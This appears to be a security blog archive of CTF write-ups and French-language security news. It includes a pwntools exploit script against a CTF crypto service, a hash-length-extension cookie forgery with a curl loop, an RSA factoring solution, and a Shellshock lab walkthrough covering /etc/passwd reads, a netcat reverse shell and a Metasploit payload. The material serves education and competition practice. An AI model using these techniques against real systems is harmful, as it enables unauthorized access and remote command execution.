lundi 17 juillet 2017

CTFZone 2017 e-Voting (crypto 409pts)

It's a crypto task where they gived us a ciphertext which is represented in two values (C1 & C2) ; this help us to realize that's the cryptosystem probably used is el gamal cryptosystem which is also based on diffie-hellman like it was said in the description of the task. The aim is clear, we have to decipher this ciphertext and the plaintext will be the flag. The script below will decrypt the ciphertext quickly due to flaw of the implementation of the cryptosystem by this service. from pwn import *
import re
import sys
import string

r = remote("82.202.204.134",1331 )
m = r.recvuntil('-> ', drop=True)
m = m.split("(")
m = m[1]
m = m.split(")")
m = m[0]
m = m.split(" ")
C1 = m[0]
C2 = m[1]
r.writeline("D \n")
m = r.recv()
C1 = int(C1) * 2
r.writeline(str(C1) +" " + str(C2))
o = r.recv()
o = o.split("\n")
o = o[1]
o = int(o,16)
o = o / 2
o = format(o, 'x')
print "flag is : ctfzone{"+o+"}"

Output :
ctfzone{fc575129f3935d5b456ed55ef8173574}

mercredi 17 mai 2017

Wanna Cry

Rançon

La fin de semaine a été mouvementée pour les administrateurs sécurité à travers le monde suite à la propagation du ransomware WannaCry. Ce malware a défrayé la chronique tout le week-end en raison de sa rapidité de propagation et de son impact important sur plusieurs grosses entreprises.

Cela a commencé vendredi après-midi avec la perte du réseau de téléphonie mobile espagnol Telefonica pour continuer sur le blocage des services hospitaliers anglais, l’arrêt de plusieurs sites de productions à travers le monde dont Renault mais aussi l’infection de différentes banques.

Ce ransomware a utilisé comme moyen de propagation une faille rendue publique mi avril suite à la divulgation par le groupe ShadowBrokers des outils offensifs de la NSA.

Pour se propager, le ransomware scanne le réseau local sur lequel il se trouve ainsi qu’une plage d’adresse IP publique aléatoire à la recherche d’autres machines vulnérables. 

La leçon à retenir est qu’il est nécessaire d’appliquer aussi rapidement que possible les mises à jour de sécurité pour éviter une paralysie complète du système d’information.




mardi 25 avril 2017

Actualité sécurité

Attaque

La Fédération internationale d’athlétisme a été victime d’un piratage informatique notamment les exemptions accordées à certains athlètes les autorisant à utiliser, pour raisons médicales, des produits interdits. Selon l’IAAF, l’attaque a été menée par le groupe FANCY BEAR (aussi connu, notamment, sous le nom d’APT28). Pour rappel, La Fédération internationale d’athlétisme a suspendu depuis le 13 novembre 2015 la Russie de toutes les compétitions internationales – dont les Jeux olympiques de Rio et les Championnats du monde 2017 à Londres – après des révélations établissant un dopage d’État en Russie. Source

Menace

Des attaquants utilisent de fausses stations radio en Chine pour distribuer le malware Android Swearing par SMS. Interceptant la communication d'un terminal et de son réseau sans fil en se faisant passer pour un opérateur légitime, les attaquants envoient un message texte à l’utilisateur l'invitant à télécharger une application ou une mise à jour, en cliquant sur un lien de téléchargement d'un fichier APK. Le malware Swearing exfiltre les données à caractère personnel contenues dans le portable et intercepte les SMS pour passer outre l’authentification à deux facteurs ou d’autres systèmes à codes uniques utilisés par les banques chinoises. Source


Vulnérabilité

[Apache] Une vulnérabilité permettant l’exécution de code à distance a été découverte dans le parseur Jakarta d’Apache Struts2. Cette vulnérabilité est en activement exploitée dans la nature et des preuves de concept sont publiquement disponibles. L’exploitation la plus avancée tente de télécharger une charge malveillante et de désactiver le pare-feu local avant l’exécution du malware.

Apache a mis à disposition plusieurs versions de Apache Struts2 qui ne sont pas vulnérables (2.3.32 / 2.5.10.1 ou plus élevée) et il est fortement conseillé d’installer ces mises à jour. Source

Fuite

[IOT] Une fuite de donnée a touché la semaine dernière une infrastructure utilisée par un ours en peluche connecté créé par une société nommée Cloud Pets : 800 000 comptes ont été volés. Les jouets sont conçus pour effectuer des connexions sur une infrastructure dédiée utilisant MongoDB. Malheureusement, leur instance de MongoDB écoutait sur l’adresse IP publique de la machine qui l’hébergeait et n’utilisait aucun mécanisme d’authentification…

La communication autour de cet incident a été très mal gérée par la société et l’impact sur les actions de Spiral Toys (la société possédant Cloud Pets) a été terrible… Source




Menace

Google et des chercheurs de l'institut CWI (Centrum Wiskunde & Informatica) ont annoncé être parvenu à générer une collision via la fonction de hachage cryptographique SHA-1. Encore utilisée pour sécuriser les communications et les certificats, cette collision confirme que la sécurité de SHA-1 n’est plus garantie. La méthode sera dévoilée sous 90 jours afin notamment que les utilisateurs de SHA-1 puissent migrer vers des solutions de chiffrement plus complexes. Google a déjà implémenté des protections relatives à cette technique sur certains de ses produits. Source

jeudi 5 janvier 2017

MSSP CTF WEB 150 - Safe Hashing

#Sudo_root
#Zakizak

MSSP CTF
WEB 150 - Safe Hashing

We gave us a link and we asked us to get the secret under it.
The link given was : https://web-piratuer.c9users.io/web5/
Opening the page https://web-piratuer.c9users.io/web5/index.php~  shows this line of code
'; } else { readfile(basename($_GET['useme'])); } } ?>
From the line, above,  we can see that readfile function is used and parameter 'useme' define which page should be loaded. Let’s add this parameter to the end of our URL and try to load the page 'index.php' trough this manner  :
https://web-piratuer.c9users.io/web5/?useme=index.php
Openning the index page this way, return the same result as the page " index.php~" loaded natively before.
Now, after a few tries of pages suceptibles to exist, we found that a page named 'admin.php' exist. Unfortunately, loading this page return us a troll image which seems to tell us that we can't load it as easily.


Showing the source code of this page reveals interesting things. There is a huge party of the source code of the page ‘admin.php’, Here it is :
<!--?php #Serious things begin now good luck :). require_once("config.php"); $passme = false; if (isset($_COOKIE["is_admin"])) { $pass = $_COOKIE["is_admin"]; $passme = unserialize($pass); $signature = $_COOKIE["mac"]; if ($signature !== hash("sha512", $SHAREDSEC . strrev($pass))) $passme = false; } else { $passme = false; $serial = serialize($passme); setcookie("is_admin", $serial); setcookie("mac", hash("sha512", $SHAREDSEC . strrev($serial))); } if ($passme) { echo "Congrats!! ".$FLAG; } else echo '<img src="troll.jpg" alt=""-->

One line captivante in this source code is :
if ($signature !== hash("sha512", $SHAREDSEC . strrev($pass)))
This line is the only one which could let the variable $passme having another value than false in order to fill the last condition which is :
if ($passme) { echo "Congrats!! ".$FLAG; }
And as a consequence, getting the flag we search for.
Now we can see that there is a hash extension vulnerablity. It means that we can add arbitrary data to the end of the string, and generate a new authentication token for it.
When we visit the admin page natively for the first time, this code is executed:
$passme = false;
$serial = serialize($passme);
setcookie("is_admin", $serial);
setcookie("mac", hash("sha512", $SHAREDSEC . strrev($serial)));

From that, we see that our cookie is a serialized PHP datatype, in this case simply 'false'. The mac token is generated by prepending a secret to the reversed version of the authentication string .
Those two cookies are set. Then later, when you return, the cookies are sent back and validated:


if (isset($_COOKIE["is_admin"]))
{
$pass = $_COOKIE["is_admin"];
$passme = unserialize($pass);
$signature = $_COOKIE["mac"];
if ($signature !== hash("sha512", $SHAREDSEC . strrev($pass))) $passme = false;
}

By looking for created cookies, I find out that my cookies for this website are:
is_admin=b:0;
mac=1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d
The value "b:0;" refer to boolean zero (false). The true value will be "b:1;". That's the value I want to append.
The only constraint is that we don’t know the length of $SHAREDSEC, which is unfortunately important for this attack. So we have to brute-force it.
For doing that, we’ll use a tool called hash_extender. However, we have to modify it a little  because this challenge requires the string to be reversed before being validated.
Basically, we just have to modify the output function under the main file ‘hash_extender.c’ in order to reverse the string as said.
Then, we run hash_extender like this:
$ ./hash_extender --data ';0:b' -s 1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d9 --append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html
This tells it to try every secret length between 1 and 32 bytes. One of them should work.
Then we can automate the task entirely by mixing curl tool to the above function for each of the 32 request like this :
for i in `./hash_extender --data ';0:b' -s 1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d9 --append ';1:b' --secret-min=10 --secret-max=32 --out-data-format=html`; do HASH=`echo $i | sed 's/,.*//'`; DATA=`echo $i | sed 's/.*,//'`; echo "$DATA :: $HASH"; curl -b "is_admin=$DATA;mac=$HASH" https://web-piratuer.c9users.io/web5/admin.php; echo; done
By redirecting the result into a file and by searching for the prefix of the flag mssp, we  fast retrieved the whole flag as shown below:




dimanche 18 décembre 2016

Writeup WhiteHat GrandPrix - 100 - Banh bot loc - Web


Writeup WhiteHat GrandPrix - 100 - Banh bot loc - Web
# Zakizak
# Sudo_root

Description
This url were given to us: http://web05.grandprix.whitehatvn.com and they asked us for finding the flag.
Solution
Visiting the website we had something like this :



 
Let’s see source code of teh web page


 Let’s see index.php.bak




















To show the secret value, it's clear that we have to get around this test
if($Username.$key == md5($password).
The above line checks that the concatenation of the username and the key is equal to the md5 hash of the password.
knowing that unexpected Behavior of PHP equal to operator :









the combinaison of username and password shown on the next figure will get around the condition and get us the flag back like this :



mercredi 27 juillet 2016

L'attaque baptisée SHELLSHOCK

Description :

Il s'agit d'une vulnérabilité logicielle présente dans le shell Unix bash. Ce logiciel est responsable de l’exécution de programmes, que ce soit des programmes lancés par des utilisateurs que d’autres programmes, et est souvent utilisé par les serveurs web pour lancer des sous-programmes responsables de la génération des pages. Cette faille touche l’environnement, un ensemble de données transmises de programme en programme, qui contient des informations utiles pour l’exécution de ces derniers. Dans le cas d’un serveur web, il est utilisé pour transmettre toutes les informations sur une requête (quelle page demande l’utilisateur, quel navigateur il utilise, de quelle page il vient, …) au programme suivant. Le problème est une fonctionnalité ajoutée à bash il y a longtemps (en 1989) qui permet d’utiliser l’environnement pour passer des fonctions, des morceaux de code qui peuvent être utilisées par le shell pour exécuter certaines tâches. Cette fonctionnalité peut se révéler utile et n’est pas vraiment le problème: dans le cas d’un serveur web, bash se contenterait de passer le code de la fonction au programme de génération de la page et ne jamais les utiliser. Mais voici le problème: si la fonction est écrite correctement, elle peut forcer bash à exécuter du code à son lancement, ce qui n’est pas souhaitable. Cela veut dire qu’une personne peut simplement demander une page et introduire un en-tête HTTP spécialement préparé, et lorsque bash va lire l’environnement contenant les données malicieuses, il va tenter de les exécuter. Et cela permet d’exécuter toutes sortes d’attaques.

Exploitation (POC)

Démo d'une attaque Shellshock par injection d'entête HTTP :

Le test démontré consiste à envoyer à un serveur web[1], disponible sur le réseau,  un paquet HTTP forgé avec des entêtes HTTP contenant une injection de commande. Le serveur, étant vulnérable contre ShellShock, va passer les valeurs des entêtes HTTP sous forme de variables Bash et par conséquent les commandes incluses seront exécutées de manière illicite.

Schéma global du réseau
Le réseau virtuel privé mis en place tourne sous Virtualbox selon l’architecture suivante :


Les adresses IP des deux machines ont été affectées par le serveur DHCP, propre à l'adaptateur ethernet #2 avec le pool d’adresse 192.168.220.220-100/24.

Machine d'attaque :


Récolte d’informations :

En réalisant un mapping du réseau avec Nmap sur l’adresse 192.168.220.100/24 nous avons découvert l’adresse 192.168.220.103 sur laquelle nous avons effectué un scan plus approfondi.



Nous pouvons constater les différents ports ouverts et les différentes versions de services  en vigueurs sur ces ports. On constate également le déploiement d’interfaces de connexions administratives via SSH d'une part, et un serveur Web qui tourne sur le port 80 d'autre part.

En tentant d'y accéder au site web à travers un navigateur, on tombe sur la page suivante :


Si on s'attarde sur le contenu de la page web, on verra bien qu'elle inclut des informations sur le système (le serveur web en question). En parcourant le code source de cette page, on s'aperçoit de la fonction appelé par un script pour générer une telle sortie. Il s'agit de la fonction status() qui est définit ainsi :


En fait, cette fonction fait appel à un script CGI dont on a pu clairement obtenir le chemin.
En indiquant le chemin du script dans la barre d'adresse, on retrouve bien les informations précédentes  sur le système ainsi :


A présent, nous allons actualiser la page tout en interceptant la requête de chargement de la page avec le proxy Burp afin  d'y injecter notre code malicieux dans l'en-tête HTTP. Plus précisément, nous allons modifier la valeur du champ 'User Agent' de l'en-tête HTTP comme suit :


On modifie cette valeur par le code suivant afin de tester si le serveur est vulnérable contre ShellShock :


A priori, il s'agit d'un code plus ou moins bénin qui va afficher la chaine de caractère précisée,  dans la page retournée, ainsi :


En effet, notre code a été interprété par Bash et a été correctement exécuté, ce qui affirme l'existence de la faille ShellShock dans le serveur web en question.
Encore plus critique, nous allons tenter de charger le fichier /etc/passwd depuis le serveur :


Le résultat est le suivant :



Désormais, la gravité de la faille commence à prendre de l'ampleur étant donné qu'on a pu charger le fichier des mots de passes des utilisateurs depuis le serveur.
Pour finir, nous allons tenter de maintenir un reverse shell sur le serveur en ouvrant un port sur notre machine et en tenant de s'y connecter depuis le serveur afin qu'on puisse obtenir un shell dessus.
A titre d'exemple, on ouvre le port 31337 sur notre machine comme suit :


Ensuite, on injecte le code malicieux suivant permettant le back connect :

On voie clairement notre adresse IP incluse dans le code injecté dans la figure précédente.

A présent, si on revient vers notre terminal (là où netcat écoute sur le port 31337),


On pourra suivre l'établissement de la connexion étant donné que le mode verbose (option -v) a bien été précisée.
Une fois connecté, on pourra exécuter des commandes à distance ainsi :


Ce qui reflète d'ailleurs toute la criticité de de cette vulnérabilité.
Sachez que l'exploitation de cette vulnérabilité pourrait se faire automatiquement de manière très rapide en utilisant le framwork Metasploit et l'exploit exploit/multi/http/apache_mod_cgi_bash_env_exec. Il suffira d'indiquer uniquement l'adresse IP du serveur web ainsi que le lien vers le script CGI. L'obtention d'un shell se fait aisément en utilisant la payload "linux/x86/meterpreter/reverse_tcp" de metasploit.

lundi 18 juillet 2016

wCTF3 Crypto 100 (RSA encryption)

weirdCTF3 crypto 100 (RSA encryption)
by Brahimi Zakaria


After downloading the compressed file (here) and having it extracted, we find two files named : 'public.key' (which contain the public key of the rsa keypair) and 'flag.crypted' (which contain the flag encrypted).

The task is clear, we have to recover the private key to get the flag.

Let's begin with exploring informations within the public key with openssl like this :

Input :
openssl rsa -noout -text -inform PEM -in public.key -pubin

Output :
openssl rsa -noout -text -inform PEM -in public.key -pubin
Modulus (565 bit):
    12:fb:b2:17:cc:d5:a2:a9:8c:73:67:77:7a:1d:e9:
    37:c7:7d:73:87:65:1e:20:84:b3:8f:4e:f9:3e:c4:
    96:8e:1b:be:9b:b2:30:23:45:05:33:7e:79:fc:fd:
    b7:78:37:7d:7a:c0:07:37:47:f2:27:5b:f9:c4:de:
    03:56:de:df:be:83:79:be:14:c6:75
Exponent: 65537 (0x10001)

It's an RSA public key with a non common size of 565 bits.

The public key only contains the modulus N and the exponent e. N could be factorized into 2 prime numbers p and q, so N = p x q.
Based on those 2 numbers we will be able to generate the private key.

As the modulus above is in a hexadecimal form, we have to convert it to a decimal form like this :

Input :
python -c "print int('12fbb217ccd5a2a98c7367777a1de937c77d7387651e2084b38f4ef93ec4968e1bbe9bb230234505337e79fcfdb778377d7ac0073747f2275bf9c4de0356dedfbe8379be14c675', 16)"

Output :
71641831546926719303369645296528546480083425905458247405279061196214424558100678947996271179659761521775290973790597533683668081173314940392098256721488468660504161994357


The modulus is made of 565 bits. Thus it couldn't be factorised easily.
Another possibility is fermat's factorisation.

By running a script (factorisation.py) which implement the Fermat's factorisation against this large prime number, we could spits out the two primes immediately.

Input :
python factorisation.py

Output :
p : = 8464149782874043593254414191179506861158311266932799636000173971661904149225893113387
q : = 8464149782874043593254414191179506861158311266932799636000173971661904149225893113311


Now we could regenerate the private key using another script called rsatool.py like this :

Input :

python rsatool.py -p 8464149782874043593254414191179506861158311266932799636000173971661904149225893113387 -q 8464149782874043593254414191179506861158311266932799636000173971661904149225893113311 -o private.pem

Output :

n = 12fbb217ccd5a2a98c7367777a1de937c77d7387651e2084b38f4ef93ec4968e1bbe9bb230234505337e79fcfdb778377d7ac0073747f2275bf9c4de0356dedfbe8379be14c675

e = 65537 (0x10001)

d = fdc0a8949cf7e4b8a94ebef6cadcaa7985a1e081319dd6f2098ed10dd38ded3b12848e2890cc75db5c9ed94e0b3f570bfdce9ef781e3db2e7d99069e78fe6425ec168752d64ed

p = 45b62603351c22f7148bcaa5cf013ad3c05dfcc054a146945d907c24d0f7053a461ae2b

q = 45b62603351c22f7148bcaa5cf013ad3c05dfcc054a146945d907c24d0f7053a461addf

Saving PEM as private.pem


We can now decrypt the base64 encoded cipher within the file 'flag.crypted' and decipher the content with the private key we had generated :

Input :

cat flag.crypted | base64 -d > flag
openssl rsautl -decrypt -in flag -inkey private.pem

Output :
wctf{RSA_c1n_b3_w3AK_b3_c4reFuL}


That's it.